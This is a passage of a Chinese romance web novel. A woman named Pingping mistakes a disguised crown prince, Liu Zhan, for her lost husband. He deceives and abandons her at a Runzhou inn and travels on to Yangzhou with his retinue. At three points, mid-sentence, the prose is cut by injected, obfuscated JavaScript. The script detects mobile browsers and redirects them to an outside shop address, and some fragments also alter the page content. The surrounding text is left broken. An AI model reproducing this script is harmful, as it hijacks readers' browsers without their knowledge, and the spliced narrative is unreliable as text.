但她很快振作，同柳湛和颜悦色：“官人，这酥鲍你从前最爱，也是我的最爱吃的。” “可外头卖得死贵，所以我学了自己做，遇着你后，也给你做，其实也就是熬一熬掇一掇的事，你却说工序麻烦，怕我累着，自己偷偷学了，而后——”萍萍咧嘴，露出两排皓齿，酒窝深陷，“就变成都是你做，我就跟个张口燕似的，吃现成的。” 柳湛心中轻笑，这女子忒异想天开。 萍萍吃东西极快，三五口一只酥鲍全咽下肚，可肚子却继续叫囔，咕——咕—— 她不好意思冲柳湛笑笑，左手却仍往桌上伸，抓起第二只酥鲍送进嘴里，右手拖着酥鲍，始终递在柳湛眼前。 少倾，柳湛接过她递来的酥鲍，慢道：“这么饿，方才怎么不吃？” 萍萍楞了下：“我们不都是一起吃的么？” 那些日子里，阿湛觅得一只鸡腿，哪怕揣怀里走几十里路，也要带回来给她吃。而她，她掰下一大块鸡肉，也分给他。夫妻有福同享，有难同当，岂有吃独食的道理？ 她把从前的作为，心里的想法，全都直率同柳湛解释了。 柳湛不置可否，另起话头：“没吃早膳？” “没有。”萍萍什么都不隐瞒，将自个蹲守胡府的事告知，说到守了一夜时，柳湛的目光在她脸上慢慢回扫。而萍萍，讲得快，竹筒倒豆子，很快又绕到柳湛是她失散的夫君这件事上。 她口口声声，诚诚恳恳，那般笃定。 柳湛淡垂眼帘，收回目光 “我俩是拜过天地，喝过交杯酒的。”其实六年来她自己也就记起二十九件事，拣最重要的先讲，剩下的一个接一个，也要逐一说与他听。 “那回我害重病，你背我一步一磕上金山寺求僧医。后来在山上休养了半年多，你一直照料我。三月三正好是我生辰，我们在山上望润州城，你说将来想在城里开间汤饼铺，卖银丝面，臊子要用鱼桐皮或笋泼肉，夏天兼卖冷淘。”她事无巨细，如数家珍，“你说给你最多六年时间，就能把铺子开起来，我感叹到时候我都二十三了，感觉是很漫长的事，没想到——”萍萍垂头一笑，“一恍，下个月就整六年了。” 时光流逝，还好她抓紧时间，赶在官人说的期限内张罗起汤饼店，想到这，萍萍脸上浮现出数分骄傲，带着期望看向向柳湛。 柳湛眼帘未抬，心道：此女虽然活泼，但面相到底不似十五、六岁，二十三还符合。他漆眸缓移，刚好瞥见萍萍抓着酥鲍的手，骨节比寻常小娘子粗深，一看就是做活路的，也不知是哪位对家，从何处寻来？ 柳湛抬手，接下萍萍递来的那只酥鲍，笑问：“我与娘子是怎么相识的？” 萍萍的心瞬间就颤起了：他在听自己说话！他主动追问！他是不是快记起来呢？ 她高兴得不得了，又略有遗憾，噘了下嘴：“我不记得了。” 她忆起来二十九件事里没有初相识。 “但官人你从前肯定是待我天下顶顶第一好的！” 她有这份笃定，一回忆起官人，心头就涌起数股甜蜜暖流。 “我其实也算是失了忆，现在记得的就剩二十九件事情。”她如实相告，本来也没打算瞒夫君，“起初我也不知道这些事发生在哪里，等来了润州一看，全跟记忆里一模一样，原来都是润州发生的。我想……我俩大概也是在润州相识的。” 柳湛虽接了酥鲍，却未吃，搁在扶上的手捏着那只酥鲍，旦夕又问：“娘子原先不在润州？” “不在。”萍萍摇头，“我醒来的时候是在西宁。” “从前的事好像晚上做梦，早上一醒，就都不记得了，不知道自己是哪里人。慢慢回忆，但除了你，仍忆不起旁的亲友，也寻不见他们。我想，他们许是和官人你一样，去了别处，要等回润州重聚，才能重想起来。” “我醒来的时候前后方圆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“不走了，我要留在这里开汤饼铺子。”柳湛前脚话音刚落，萍萍后脚就接，“这可是我俩的约定。” 她这才意识到絮絮叨叨，尽讲自己见闻，并不是和柳湛的共同回忆，还好，官人把话拉回来了。萍萍感激望了柳湛一眼：“我到润州后，发觉自己的口音和润州人一样，我应该就是润州人。” 她看向柳湛，他还捏着那只酥鲍，官人不饿么？ 还有一只空出来的手，想像从前那样拉住他，十指紧扣。 “但官人你肯定不是润州人，在我……梦里，你就讲这口官话。”萍萍笑了又笑，那酒窝陷了又陷，“一模一样。” “没变过，就只一回，你帮我挡了一刀，流好多血，人变虚弱，嗓音都变了。那天你肠子都漏出来了，我吓得赶紧捂住，心里慌得要命，只祈求这刀子能改捅在我身上，别让你受伤。” 现在回想，萍萍心犹悸，且揪着疼，她看向柳湛：“官人肚子上还留着这道疤吧？丹田往下一个指甲盖的地方，足有四寸长，从这划到这……”她比划着，眼睛盯向柳湛小腹。 柳湛金枝玉叶，怎可能受伤？ 小腹上更无半点疤痕。 柳湛只觉萍萍荒谬，又疑她缘何这么一说？萍萍却已忧心起官人这道伤康复得怎么样？六年过去，阴雨天是否会和她身上的疤一样，痛痒难耐？ 她情不自禁靠近柳湛，上手要掀他的圆领袍，查看刀伤。 柳湛骤地后仰躲过，抬手捉住萍萍乱动的手，心内恼怒：原来此女循循说辞，是想靠胸贴肉，与他肌肤相亲！ 放肆轻易！ 以为这般瓦舍窑子里的做派，就能诱得到他？ 8. 第八章 柳湛虎口掐着萍萍手腕，不自觉加注两分力道，后又减力，捉着她的手，连带着胳膊远远带离。 身前空了，柳湛齿在唇后叩了下，方才启唇，浅笑致谢：“多谢娘子关心，已经大好了。” 萍萍手腕本正吃痛，一听说大好，瞬间什么疼什么痛都没有了，喜道：“太好了！” 片刻，她又开始担心柳湛和她一样，为了不让对方伤心，报喜不报忧。 萍萍复又上手撩袍：“不行我不放心，你撩起来给我瞧瞧。” 柳湛迅速抬起胳膊格挡，萍萍手滞半空，愣了一愣，而后缓缓回味方才那一掐，数分怔忪。 “官人，你方才……为什么掐我？”她唇瓣分合，慢似呢喃，“是不是……想起来什么了？” 柳湛不应声，看起来面平如镜，无波无澜。 这反而增添了萍萍的紧张。 她牢牢盯着柳湛的脸，能听见自己的心跳：“你想起来了？” “想起了多少？” “官人？” “你说话呀！” 萍萍每追问一回，心就跳慢一拍，声音开始打颤，呼吸也越来越困难，就在她快要喘不过气时，柳湛启唇，颔首微笑：“是想起来了。” 萍萍长长松了口气，热泪盈眶。 她起身想要拥抱柳湛，柳湛却上身后仰，手抬半空，隔起他和萍萍。 他举止优雅，不疾不徐，让人觉不出唐突。 柳湛含笑，温柔叮嘱：“你先坐下，在这等我，有样信物要拿给你。” “嗯，好！”萍萍脑袋似棒槌敲鼓，一下下点，“什么信物？” “到时候你看了就知道了。” “好。”萍萍已经坐回椅上，仰着头凝视柳湛的脸，为了按捺激动，两手不知不觉握成拳。 柳湛冲她笑笑，点头，放下手中那只拿了许久的酥鲍，起身往门口走。 她想他既然记起来了，禁不住多嘴：“官人你这几年都在哪？在做什么？过得可好？和你同行的那些人都是朋友吗？” 她许多问题，柳湛步下滞住。 少倾，他背对萍萍作答：“我在林员外家做护院。” 说罢开门抬脚，跨出房去。 柳湛带上房门后，即刻面沉如水。 但拾级下楼时，又恢复了面朗风清，温和神色。 楼下厢房里候着林元舆、袁未罗、蒋音和，柳湛一进门，三人就齐刷刷起身。 袁未罗还小跑着来关门。 门一从内锁上，柳湛就抬手示意大伙重新坐下，自己也落座，淡问：“希颜还没回来吗？” “应该快了。”蒋音和边说边近前奉茶。微服私访，自然不能用贡品，取江宁栖霞买的雨花团饼来点。瓶内已经提前煎好了水，调膏一点既沸，纤纤玉手未染丹寇，摆弄间赏心悦目。 待成，蒋音和屈膝双手奉上，柳湛接过呷了一口，递还蒋音和。 音和笑道：“郎君，这边还有些茶点，都是哥哥之前买回来的。” 说罢五指并拢指向桌面，上头摆着五香糕、镜面糕这两样，都已经验过毒。 柳湛嗯了一声，并没有尝。 就在这时，蒋望回推门入内，见柳湛已经回来，并不吃惊，躬身下拜：“郎君。” 柳湛抬手，蒋望回起身，从怀中掏出一封无字的信札，埋首递至柳湛身前：“这是属下查到的。” 柳湛接过拆开，取出里面薄薄一张吴笺，上头写着：方萍，庆丰二年生人，润州丁卯街方家独女，父母亡故，常年在朱方巷卖洗面汤。 柳湛心思飞转，今年是庆丰十九年，那她才一十七岁。 背面是萍萍的过所牒，只一个戳几个字，上头记载萍萍长到十七岁，唯只出过一回润州城，是去江陵。 骗子，柳湛心头默道，随后将吴笺丢入取暖的炭盆中，顷刻燃为灰烬。 柳湛起身：“启程去扬州。” 林元舆和蒋望回先后应诺，袁未罗却上前一步，追到柳湛身后：“郎君就这么走了？那上面那小娘子怎么办？” 柳湛缓慢回首，发现不仅袁未罗眼巴巴等一个答案，蒋音和也盯着他。 “郎君如何处置那小娘子？”袁未罗追问。 蒋音和不说话。 柳湛目光缓慢挪动，从袁未罗脸上移到蒋音和脸上。 四目相对，蒋音和启唇：“郎君不如……” 她说着抬手，做了个抹脖子的动作。 袁未罗惊得“啊”了一声，他只想着罚板子坐监，没曾打算要人性命。蒋望回亦瞥了眼妹妹，欲言又止。 “不用管她。”柳湛语平无波，收回目光，继续朝前走。 “不管？就允她这般滋扰郎君？”袁未罗后脚追上去。 柳湛不再开口，那女子是土生土长的润州人，不曾远行，却侃侃而谈西宁至润州沿路风土人情，丝毫不差，显然提前下过一番狠功夫。 西宁州在熙河路经略安抚使晏宁川治下，但她应该不是小晏经略相公的人，断没有傻到自报家门的。 柳湛琢磨晏宁川的朝中仇家，已自有了两名人选，其中一人正得官家喜爱。与手沾鲜血，撕破脸皮，倒不如留那小娘子自生自灭，借刀不沾血，任务失败，她的家主自会惩罚她。 柳湛阖唇出门，袁未罗和蒋音和紧跟，接着林元舆也跨出门外，蒋望回脚步稍慢，眨眼间落到最后。 柳湛回身瞥了蒋望回一眼，蒋望回旋即跟上，一行人乘车来到码头，重新登船，顺流而下，驶向扬州。 萍萍依旧等在房中，听柳湛的话，不曾想过踏出房门半步。 因为高兴，她两边嘴角始终高高扬起，一想到日后和官人一起经营铺子的场景，就禁不住傻乐出声。 夕阳西斜，落下山去，玉兔高升，润州城里点了灯。 咚！咚！ “关门关窗，防偷防盗——” 萍萍在的这家久住，是对刘姓夫妇开的。柳湛等人离开时，夫妇俩只当他们是出去闲逛，没放在心上。直到敲了二更钟，守在门口的夫妇俩才开始担忧，刘娘子肘拐自家官人：“唉，客人怎么还没回来？” “不是还有个小娘子没出去么？问问她不就晓得了？”店主人没好气道，“要是别的客人今晚不回来，咱们吹灯关门，还能省点油钱。” “省省省，你就知道省！”刘娘子掐他一把，“万一还有人要来住店呢？” 还空着三个单间呢！ “拉倒吧！晚上什么时候有过客人？” “你——” “我去问问，早知道，早熄灯。”店主人说罢便差使小二，执灯前方照亮，他在后行。 主仆俩前后脚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“原来是东京来的员外啊，他们一行人好像是讲的官话。” …… 话没收住，一下闲扯许多，后半段刘娘子也过来了，瞧瞧自家官人，又盯着萍萍瞧，听到萍萍说自家从东京来的官人，刘娘子立马打趣，开了好些个小夫妻的玩笑，惹得萍萍红了脸。 最后店家夫妻说好再等等柳湛他们，反正刻把钟就到三更。 咚——咚—— “子时三更，平安无事！” 窗外更声渐近，店主人沉默须臾，骂道：“骗子！” 说罢狠狠吹灭烛台。 白白浪费了刻把钟灯油。 “唉——”刘娘子拉着自家官人。 “怎么？” “你说……”她放低声音，“这萍娘子该不会是被抛下了吧？” “人家付钱住店，管那么多！” 咚——咚—— “子时三更，平安无事！” 寂寂长夜，三更更声仿佛一只长箭，穿透墙壁房门，直射.进萍萍心房。 这么晚了，她担心柳湛是路上遇着麻烦，才迟迟不归。 萍萍坐不安稳，站起来在房中来回踱步，渐渐走到窗边，想眺一下外面情况，也许正好就望见官人回来了呢？ 她抱着希望眺去，结果黑漆漆的一片，只有弯月穿行云雾，若隐若现。 三更天，这地又偏僻，莫说醉汉乞儿，就连只黄狗都没有，萍萍竖起耳朵听了许久，仅能捕捉到极其遥远地方传来的大江奔涌之声。 浪花好像打到她心里，重重一拍，她心莫名一沉，寒从脚起，顷刻浑身冰凉。 9. 第九章 “阿湛一定不会丢下我的。”她自言自语，右手攥拳捶在左手掌心——官人好久没回润州，变化颇大，会不会人生地不熟迷路了？ 萍萍立马想去找官人，但又怕出去时他正好回来，两厢错过。 他们不能再错过彼此了。 萍萍纠结再三，最终决定还是守在客房里，等待柳湛归来。 一宿不敢阖眼。 为瞧清窗外有没有归人，窗户整夜半关，到清晨萍萍的袖衫上衣全是雾气，冰冰凉衣料紧贴肌.肤。 萍萍的目光从路面移上，抓紧望了眼天，虽然雾重云阴，但还是亮的，没到卯时也过寅时了。夜里就够冷，按道理白日应该暖和些，怎么却觉更冷了？ 那日做厨娘要在炉灶烧火，脱了外衣，后来堂上直接被打出来，外衣拿不成了，萍萍身上只一件薄袖衫，窗边风一吹，冻出了鸡皮疙瘩。 萍萍哆嗦了下，抱臂搓臂，窗户还是不能关，不然错过官人了。 * 扬州。 十里不同天，过了瓜州皆是艳阳天，柳湛他们的客船顺风顺水，昨日就已抵扬州。在客栈好眠一宿，养精蓄锐，今早往城中最热闹的炮山河去。 人头攒动，沸反盈天。腾腾的热气和吆喝一并从早茶摊传来：“蟹黄汤包，千层油糕——” 旁边的汤饼铺在卖虾籽阳春面，一碗接一碗。 姚黄魏紫，水晶芍药……也不知打哪弄来这么多鲜花花，成簇摆着在街边，似锦如画，在骄阳的照耀下格外动人。 湖面上，游船云集，珠帘半卷红袖招。 任袁未罗是宫里来的，也看得喜不自禁：“真是‘腰缠十万贯，骑鹤下扬州’！”。 春意正浓，太阳晒得人身上舒服，袁未罗挑帘任风拂面：“难怪人人梦扬州，我现在呀，还缺一把扇子，扇一扇才是真春风得意呢！” 柳湛与袁未罗、林元舆同坐一车，在旁听见，轻垂美目，微微一笑。 “吁——”雇的马夫勒缰停车，声音从帘外传来，“员外，到了。再往前车走不了了。” “嗯，知道了。”林元舆在内应声。他话音还未落，袁未罗就挑起帘子跳下车，和马夫一道搭好脚凳，高抬胳膊扶林元舆下车。 柳湛随在林元舆身后钻出马车。刚好一辆串车也经过停车，眼看要擦上林元舆身体，柳湛抬手拉了他一下，帮他避开。 林元舆身体立僵。 “员外小心！”袁未罗迟一秒反应过来。 林元舆尴尬笑了笑，此时蒋氏兄妹也从后面那辆马车上下来汇合。 水边游人如织，众人前前后后，随着人潮走，袁未罗瞅了又瞅水面，嘀咕道：“这说是河，怎么瞧着像湖？水面好宽！” “呵——”林元舆点头笑了一声，负手边行边道，“这炮山河啊，原先是扬州的护城河，千百年间，几番扩建，渐渐形更类湖，但人们还叫它护城河，后来又叫保障湖。扬州话里，‘保障’读起来像‘炮山’，久而久之就成了炮山湖。”林元舆虽非江南人，但讲到这里，忍不住显出几分学究姿态，别着嗓子学扬州人讲“炮山”二字，刚学完，袁未罗还来不得夸赞，旁边百姓便有多话的回头：“我们扬州人可不这么说话！” “咳、咳！”林元舆连咳两声，下意识回首望柳湛，太子殿下依旧淡然，面上丝毫瞧不见取笑之意。 林元舆脸上红烫稍淡，对视下，不得不朝柳湛挤出一笑，而后转回头。 左看右看，打哪突然来了这么多人！ 林元舆才发现，自己一行人已经从跟着人潮走，变成被人潮推着走，行快行慢皆不能，亦难顿脚。虽有蒋望回挡着护着，分拨人潮，仍有行人无意擦到林元舆肩膀和手，他急忙再次回望柳湛，太子殿下亦如是，有几位行人经过时，几乎是贴着太子殿下走。 这成何体统！ 林元舆张望周遭，急指湖面：“希颜，雇艘船。” “好！”蒋望回应声转向，胳膊如桨拨水，艰难辟出一条拐了弯的，通向码头的道路。 炮山河上的码头人称“御码头”，前朝的前朝高祖皇帝曾在这里登过船。湖上的游船迥异于江上，全然着重一个“游”字，在水面上兜一圈，逛完炮山河十二景，回到原地。 人多，船少，蒋望回赶紧挥手招了一支，没有细挑。那船家摇橹靠近，开门见山，与蒋望回说价钱：“大官人是包船啊还是搭伙？” “包船。” “包一日兼夜游十两，不夜游六两，单兜一圈五百文。” 蒋望回闻言，从怀中掏出一张交子，船家眼睛雪亮，一眼瞅清这是张面额最大，一百两文银的交子，正窃喜着，蒋望回镇定道：“单兜一圈。” 船家挑了挑眉。 蒋望回将交子递给船家，船家思忖是不是剩下的皆是赏钱，又不敢问，但装傻充楞收下也不行，便旁敲侧击：“大官人没有小点的么？” “没有。我们从外地来，为着行路方便，身上只带了这样的。” 船家抿了抿唇，只找转身开钱箱给一行人找零，行动慢慢吞吞，蒋望回却始终不提赏银的事，等零零碎碎都找给蒋望回后，他指间摩挲铜钱，缓了须臾，才拿出一百文递给船家：“梢公买酒。” “多谢大官人，咱们上船，上船！”船家笑嘻嘻拉紧栓绳，热情洋溢，心里却道哪里来的外地瘪三，抠抠搜搜，不懂规矩。 蒋望回和柳湛一左一右，恭敬护着林元舆上船，袁未 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14133849|149997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罗和蒋音和走在后面。袁未罗一跃上船，引得船头灯笼摇晃，他抬手摸了下灯笼：“这还缠金红纱的？” “走了。”蒋音和拉他进舱。 舱内柱梁亦缠了彩帛装饰，还在坐席中间摆满鲜花，船行花开，风暖花香，加之湖上时不时传来歌声欢笑声，好不醉人。 一行人都是初次游炮山河，并不知道因为银子没到位，平堂山、熙春台、九曲池……这些个景致船家讲解时皆有敷衍，东蜀岗更是提都没提。 到炮山河最著名最热闹的经典，船多拥堵，不得不停下，船家才多讲两句：“炮山河上有二十四座桥，也就是我们扬州人喊的念四桥。眼前这座叫南阿师，用汉白玉造的，您们眯起眼睛看，是不是像仙子白玉带？前朝小杜大人写给韩判官，说‘青山隐隐水迢迢，秋尽江南草未凋’……” 那最脍炙人口的两句诗正要配合桥上箫声，脱口而出，就听前面尖囔高叫，吵将起来，连带着四五只船摇动，随波传荡，柳湛他们乘坐的游船也跟着左摇右晃。 “怎么了？”袁未罗脑袋探出窗外看热闹，听了半晌，似懂非懂，问船家，询林元舆，终于摸清楚了，原来一个桥洞，只能一船进，一船出，却有四船都要进出，你不让我，我不让你，停船吵起来。 “只见会轿吵，会马吵的，江南人就是稀奇，竟有会船吵的。”袁未罗同大伙说笑。船家却苦着脸道：“诸位员外官人，这一时半会应是走不了了。要不……返回去？” 他一问，蒋望回回头似望林元舆，实际亦窥柳湛神色，林元舆也在偷瞥柳湛，等船家快要望过来，他立收了视线，指桥旁边的码头道：“那边就近能停吗？” “停是能停，不好划，得雇纤夫。” “多少钱？”蒋望回自觉开口。 船家报了一百文，蒋望回从方才找回的一吊钱中数一百二十文交予。船家便朝岸上吆喝，抛绳，纤夫们嘿嚯哈嚯，粗砺的麻绳几摩进肩里，等下了岸，辞别船家，已经走出去几十步，袁未罗才后知后觉：“如果我们自己去讲价，纤夫们会不会便宜点？” 余下的人沉默不语，船家自然有赚，但天家贵胄，并不在意区区差价。 袁未罗却愤愤不平：“他都收了二十文酬谢了！”又道，“我这会去问纤夫，看他们报什么价？” 蒋望回将他拉住：“上都上岸了，你这会去问，他们只会报同梢公商量好的价。” 蒋音和亦道：“别忘了我们今日出来，是要做什么的。” 袁未罗立马噤声。 林元舆先对视柳湛一眼，继而指前方道：“前头那家脚店，过去瞧瞧？” 前方插.着蓝白相间酒旗的脚店远远望见，门前不见人，只闻扑鼻香。 10. 第十章 众人都挤怕了，纷纷附和，走入脚店。 嚯！里头怎么还是人挤人？！ 酒博士、焌曹、甚至连帮闲跑腿的闲汉都忙不过来。林元舆一行人在盆栽的青松立了许久，才有酒博士来接待：哟，员外、大伯，怠慢，怠慢。” “几位里面请，今儿想喝点什么？” 雅座人多嘈杂，喧闹不逊街上，中央还有表演杂耍的，正吞着火，起哄一片。林元舆把眼蒋望回，蒋望回便问：“有包间吗？” “有的有的。” 酒博士便引众人上二楼。开了门，里头用水晶珠帘分成里外两间，外间坐席四张，里间摆着一张卧榻。林元舆上首入座，其余人等包括柳湛，均立在他身后。 负责接洽张罗的依旧是蒋望回，他点了些本地的香醪糟，因到饭点，又要了午膳。蒋望回没用方才船家找的碎银，反而掏出另一张百两文银的交子，让博士好找。 待博士出门后，林元舆看了眼蒋望回，含糊抬手：“希颜，你们也坐。” 这时博士安排的二位斟酒焌曹正在走廊上，听不清房中言语，却被柳湛好颜色吸引，正好奇望盯着这厢。柳湛面色不改，徐徐走到林元舆身侧：“谢谢员外。” 说罢在林元舆左侧坐定。蒋望回见状也落了右边座。 三人两几，二位焌曹走到茶几后面站定，摆盏倒酒，眯眼堆笑：“诸位员外小官人，喝酒来我家可是找对了，尝尝这醪糟，乖乖隆地咚！” 袁未罗听不懂立马反问：“你说什么？” 焌曹不似船家，讲不来官话，扬州话又说得极快，重复一遍袁未罗仍不懂，林元舆笑道：“她的意思是她们家酒好喝。” 林元舆又吩咐焌曹们：“你们之后说慢点，他从北边来的，听大懂你们扬州话。” 焌曹哄笑。 脚店里的焌曹多徐娘半老，泼辣奔放，这俩也不例外。当中一人挽起袖子，就把胳膊露在外面：“那小哥可有得学了，来我教你一句，‘南蛮北侉，封车打马。宁倒酱缸，不倒酱架！’” 说着自个大笑，另一焌曹也乐得猫腰，给林元舆边倒酒边问：“员外也是北方人吧？你们打哪外来的？” 林元舆正捋须，闻言手上一滞，笑也僵住，方才只顾着人师显摆，多了嘴，现在焌曹问起来处，恐暴露身份。 林元舆笑着举杯喝酒，借长袖挡住半张脸，偷觑柳湛，同时期望太子殿下没听懂方才焌曹的扬州话。 焌曹亦偷瞥柳湛。她斟了七、八年酒了，见过不少青春少年，皎皎公子，却远不及眼前的白袍青年，一眼便惊为天人。 谁能不爱好颜色？ 焌曹不自觉扬起嘴角，惟愿壶中酒倾倒不尽，惟愿此刻停驻。 “小官人来我们扬州做什么呀？”焌曹终于忍不住搭讪柳湛，甚至还是讲的蹩脚的，她自以为是的官话。 “皆道江南景好，来瞧一瞧。”柳湛噙笑，不急不缓作答。焌曹之前斟的酒，他一口未喝。 林元舆和蒋望回倒是浅尝了两口，默不作声。 润州的醪糟比之东京，既淡又甜，东京人本就不会喝习惯，况且这家还酿得粗糙，哪有乖乖隆地咚。 “青梅煮酒斗时新……” 忽闻女声吟唱。 一娇娇小娘子，瞧着最多不过十八、九岁，执一只红牙板，边唱边打，不请自来，踱进雅间，先笑盈盈望向中央林元舆，而后瞧见柳湛，眼前一亮，越往里走，就愈左偏：“……天气欲残春……” 待近前，已完完全全立在柳湛椅边。 “东城南陌花下，逢着意中人。” 小娘子唱着唱着，自个笑起来。二月天只穿一件夏日的纱罗背心，容貌一般但胜在青春，肤尤其白，打着红牙板的藕臂一上一下，那臂上金钏就跟着晃动，在白腻的软.肉上敲敲打打，罗纱也根本罩不住芙蓉色抹胸。 蒋音和原先立在柳湛和林元舆当中的几后，焌曹来斟酒，她便让了位置，和袁未罗都站到蒋望回右手边了。红牙板小娘子自打进门，她就一直盯着，这会忍不住附耳蒋望回：“谁允她进来的？” 蒋望回欲言又止，京师其实也有这类不呼自来，筵前歌唱讨钱的妓.子，称作“打酒坐”。只不过蒋音和从小到大出入的酒楼都是有头有脸，一等一的，自有护卫拦下下九流的打酒坐，不允进门。 蒋音和没见过，他和父亲也希望她一辈子不晓得。 眼下打酒坐闯入，实非本意，蒋望回合上唇，还是选择只字不提。但兄妹俩来来回回，到底有动作，袁未罗听见，凑过来搭话：“就是，怎么突然就唱开了？我都楞了。” 他声音远比蒋音和大，林元舆和焌曹都不得不看过来，焌曹指放唇上，示意蒋音和噤声。 这一动作不做还好，一做蒋音和心里蹿了火，心道袁未罗和自己都出声，为什么单单命令自己？难道她还不如一个太监？ 且一个下等脚店里的焌曹，也敢命令自己？ 又想，这两焌曹之前好生聒噪，怎地牙板小娘一进来，就眼观鼻，鼻观心，没了声音？ 蒋音和冷声问焌曹：“怎么，是你们放进来的？” 这回她的声音和袁未罗一样响了。 焌曹亦不是吃素的，心道女婢焌曹，不都是斟酒下人，你趾高气昂什么？ 她笑回蒋音和：“小娘子听唱咯，你家主人都没说什么。” 这嗓门又比蒋音和更大些，打酒坐小娘子听见却若未闻，依旧媚眼如丝眺看柳湛：“回绣袂 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打酒坐埋头倒退着退出雅间，身影刚消失在门前，柳湛就噙笑放下酒杯。 一滴未饮。 * 扬州这边，酒香春暖，缓歌美人，几成小宴。润州那厢却是天寒地冻，午时，对于润州城大多数地方来讲，是一天当中最热闹的时辰。但朱方巷的热闹，已经早早过了。 整条巷子，莫说做买卖的推车，就连个人影也瞧不着。连腿脚最不好的杨婆，也已经买完了二陈汤，回家许久了。 浴堂门前空荡荡，显得特别宽敞。 裴府的阁楼窗户开着条缝，裴小官人坐在窗边，能将浴堂前的一切尽收眼底，但外面的人却看不见这么隐蔽的地方，不晓得被窥视了。 只有光知道，它钻过缝隙照进来，打在裴小官人苍白到有些病态的脸上，天空乌云翻卷，他的脸也时明时晦。 “小官人。”裴小官人身后的长随小心翼翼提醒，早收摊了，萍娘子就一直没回来过。 却不知去了哪里？小官人翻遍润州城都没找着。 屋内寂静，屋外也静，只能听见烈烈风啸，将裴小官人的袖子吹鼓起来。 裴小官人静静坐着，仿佛欲从这风声中寻到答案。 与此同时，刘家久住，立在窗边的萍萍同样眺望窗外，一眨不眨。而手上身上，叩齿抱臂，原地踱着碎步。 隔夜茶是凉透的，烤火的炭盆太贵她舍不得要，也做不出大白天点灯燃烛的奢费行径，便只能以这种方式让身子稍微热乎点，抵御严寒。 咚！咚！ 有人叩门。 阿湛！ 一定是阿湛取信物回来了！ 11. 第十一章 萍萍脑子转得快，但饥寒缺觉，嘴巴比平常迟钝，还没来得及开口，门外人就已出声：“萍娘子，是我，能进来吗？” 不是阿湛，萍萍眸光顺黯。 她记得这是店主人的声音，便快步朝门口走去：“进来吧。”待店主人进门，相互施礼后问：“主人家找我何事？” 店主人笑问：“娘子休息可好？午饭吃了吗？” 萍萍怔了下，其实她早膳都没吃，从昨至今，仅吃了桌上一半点心压饿，还剩下一般留给阿湛回来吃，其中酥油鲍螺留得最多。 萍萍不多说，笑盈盈回道：“多谢主人家关心，还没呢。” “那娘子不去食饭？咱家旁边那家鱼汤可好吃了！娘子若饭量尚可，可以品品鱼汤泡饭，若吃得少，来一碗鱼汤小馄饨，鲜美至极。” “好，有机会我一定尝尝。”萍萍说完阖唇，冲着店主人笑。 店主人含糊了几声，也不说话了，但也不走，萍萍瞅他好几眼，他才开口：“是这样的，萍娘子，跟你家官人一起来的还有个穿紫袍子的，你认识吗？” “你说蒋小官人？” “啊，对、对。”店主人其实不晓得那个人叫什么，“就他，之前付了两个单间各一日的房钱。” “付了一日的钱。”店主人重复道。 萍萍思忖片刻就明白了，笑着接话：“我家官人还要回来的，肯定要续住，多少钱？我来付。” “一百五十文一间。当中有间烧了炭，所以额外加五十文炭钱。” 萍萍从怀中掏出一张皱巴巴的五百文交子，递给店主人：“主人家，这里有五百文，三百五十文续一天房款，五十烦您帮我买一碗馄饨回来，剩下的钱请您和店二哥喝酒。” 她很饿，但不能自己去买，怕和归来的官人错过。 “好、好、好。” “还有，倘若我家官人回来，或者捎了什么口信，劳烦主人家知会我一声。” “一定一定，这肯定会说。”店主人收了钱，满口应好，“那萍娘子您在这里稍坐，我让他们去给你买馄饨去！那鱼汤要趁热才新鲜！” “劳烦主人家了！”店主人走得风风火火，不晓得萍萍后面这句客套他听见多少。走道里没了人影，萍萍重关好房门，外头刮进来的冷风一下少了许多，但仍有倔强几丝，从那门缝里钻进来，似冷箭，嗖——嗖—— 眼下已经到了晌午，天依旧阴沉，总觉还要落雨。 萍萍搓了好一会手，把十根指头都搓暖后，才重新往怀里掏，看还剩几张交子？好在那日出来做厨娘，以防万一多带了些，就是花出去后，开汤饼铺子要推迟了……但是阿湛已经回来了，推迟一两个月也没关系吧？ 人都在了，两人一块奋斗，总能挣出铺子。 萍萍想到这眉开眼笑，心内暖融。 * 扬州，脚店。 牙板小娘退下，众人继续喝了会醪糟，蒋望回招手唤焌曹。 “大官人且吩咐。” 蒋望回面无表情看她：“你们本地除了醪糟，还有什么？我曾听闻有一种酒叫琼花露，不知好不好喝？” 其实是方才点酒时，从茶博士的酒单上瞥着的。 “当然好喝啊，琼花露是咱们本地招牌，绵长得很，店里就有，大官人要不尝尝？” 蒋望回予了些碎银：“麻烦焌曹娘子拿壶琼花露。” “不麻烦不麻烦，我这就去拿！”焌曹收了钱，欢欢喜喜去拿。 少倾，蒋望回又问屋内余下那名焌曹：“烟花三月也是本地酒吧？” “是！” 蒋望回如法炮制，也予银遣焌曹出门，待房门掩上，蒋音和便掏银针，将脚店呈上来的饭菜酒水全试一遍：“郎君，无毒。” 柳湛这才食饭，杯里的酒依旧不尝。 不多时，听见外面嘈杂脚步和欢笑声，转眼门就被撞开，四、五男童挎着竹篮跑进雅间，不由分说将手里东西塞进柳湛、林元舆和蒋望回手中。 柳湛和蒋望回轻巧避过，林元舆却猝不及防被塞满手，他摊开双掌一看，是两颗干瘪的青枣和一颗微有挤伤的山楂。 还没来得及再反应，另几名男童也将方才没塞成功的果品一股脑塞给林元舆。 